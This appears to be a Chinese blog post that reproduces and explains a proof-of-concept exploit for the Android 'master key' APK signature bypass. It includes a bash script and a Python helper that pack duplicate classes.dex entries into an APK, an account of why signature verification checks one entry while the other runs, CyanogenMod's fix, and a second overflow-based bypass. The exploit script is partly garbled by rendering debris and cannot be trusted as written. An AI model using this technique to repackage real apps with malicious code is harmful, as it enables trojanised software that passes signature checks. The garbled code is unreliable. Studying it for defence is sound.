poc实际上就是一段漏洞利用代码,以下是最近炒得很火Android签名验证漏洞POC,来自https://gist.github.com/poliva/36b0795ab79ad6f14fd8
1 #!/bin/bash
2 # PoC for Android bug 8219321 by @pof
3 # +info: https://jira.cyanogenmod.org/browse/CYAN-1602
4 if [ -z $1 ]; then echo “Usage: $0 <file.apk>” ; exit 1 ; fi
5 APK=$1
6 rm -r out out.apk tmp 2>/dev/null
7 java -jar apktool.jar d $APK out
8 #apktool d KaTeX parse error: Expected 'EOF', got '#' at position 124: …out out.apk 14 #̲apktool b out o…APK
18 mv …/out.apk .
19 cat >poc.py <<-EOF
20 #!/usr/bin/python
21 import zipfile
22 import sys
23 z = zipfile.ZipFile(sys.argv[1], “a”)
24 z.write(sys.argv[2])
25 z.close()
26 EOF
27 chmod 755 poc.py
28 for f in find . -type f |egrep -v "(poc.py|out.apk)"
; do ./poc.py out.apk "
f
"
;
d
o
n
e
29
c
p
o
u
t
.
a
p
k
.
.
/
e
v
i
l
−
f" ; done 29 cp out.apk ../evil-
f";done29cpout.apk../evil−APK
30 cd …
31 rm -rf tmp out
32 echo “Modified APK: evil-$APK”
以上代码可以分成两个部分:
1.修改并重打包apk文件
首先用apktool将目标apk反编译,修改代码后再重打包为out.apk
反编译:java -jar apktool.jar d $APK out
修改代码
重打包:java -jar apktool.jar b out out.apk
2.解压原apk将修改后的apk压缩在同一个包中
具体过程是:先创建一个临时文件夹tmp,将原apk解压到该文件夹下,然后将out.apk也复制到该文件夹下,然后执行以下shell命令
chmod 755 poc.py
#在当前目录下查找除poc.py和out.apk之外的文件file, 并执行./poc.py out.apk file
for f in find . -type f |egrep -v "(poc.py|out.apk)"
; do ./poc.py out.apk “$f” ; done
其中poc.py的功能是解压out.apk,并将其与当前目录中除poc.py和out.apk之外的文件压缩在一起。
1 #!/usr/bin/python
2 import zipfile
3 import sys
4 z = zipfile.ZipFile(sys.argv[1], “a”)
5 z.write(sys.argv[2])
6 z.close()
以下是该poc作者的说明:
I’m duplicating entries inside the apk (original entries + rebuilt entries). The hashes in META-INF folder are from the original signed files, which are checked for signature, but the ones that end up being installed on the device are the duplicated ones.
意思就是说在一个apk包里面部署了2个entryName="classes.dex"的文件:一个是原装的即跟原来签名一致的dex,一个是篡改了的也就是签名不一致的,且恶意的在压缩包字典中位于正常的之前。在安装时解析apk进行签名校验,当entryName相同时,正常的dex会覆盖篡改的dex文件信息,这样就能顺利通过APK证书签名验证过程。而在安装完毕后,真正执行并启动文件使用的是修改过的classex.dex。
由上可知,构造一个同名的entry,即在一个zip里面放置2个同名dex文件是该漏洞利用的关键。
以下转自http://lcx.cc/?i=3734
原理简述
由于ZIP格式允许存在两个或以上完全相同的路径,而安卓系统没有考虑这种场景。在该情况下,android包管理器校验签名取的是最后一个文件的hash,而运行APK加载的dex文件却是zip的第一个dex文件。
包管理器验证签名验的是最后一个(名字相同情况下)文件。
- 解析zip的所有Entry,结果存到HashMap(key为路径,value为Entry)。
zip Entry HashMap
- 由于HashMap.put在相同key的情况下,会把value更新,导致上述的HashMap在相同路径下,存储的一定是最后一个文件的Entry。
Entry
系统加载dex文件,加载的是第一个dex。
- 查找dex的Entry用的是dexZipFindEntry。
dexZipFindEntry
- dexZipFindEntry的实现是只要match就返回,所以返回的都是第一个文件。
dexZipFindEntry
CyanogenMod的修复原理
原代码:
for(int i =0; i < numEntries;++i){ZipEntry newEntry =newZipEntry(hdrBuf, bin);
mEntries.put(newEntry.getName(), newEntry);}
修补后:
for(int i =0; i < numEntries;++i){ZipEntry newEntry =newZipEntry(hdrBuf, bin);String entryName = newEntry.getName();if(mEntries.put(entryName, newEntry)!=null){thrownewZipException("Duplicate entry name: "+ entryName);}}
关键代码为if (mEntries.put(entryName, newEntry) != null) {
该put为HashMap的put,key不存在返回null,反之返回原值。也就是说APK的Entry链存在2个或以上相同的路径即抛出异常
CyanogenMod的修复代码
相关内容:
Android uncovers master-key 漏洞分析
Bluebox Security提报Android 绕过应用签名认证漏洞原理
补充:第二个andorid签名漏洞
http://blog.csdn.net/androidsecurity/article/details/9984085
第二个andorid签名漏洞,zip格式中的extra filed length大于2^15时会整数溢出变成负数,造成字段索引错误,无法跳过file name 与 extra field,就可以在这两个域放原class.dex文件,后面再跟恶意dex,从而绕过签名检验。但被攻击的Apk里的classes.dex大小必须 在64K以内。否则,就无法对其进行攻击,利用场景比较受限。(http://www.blogbus.com/riusksk-logs/235312099.html)
相关资源:Android签名验证代码_android签名校验,android签名校验-Android…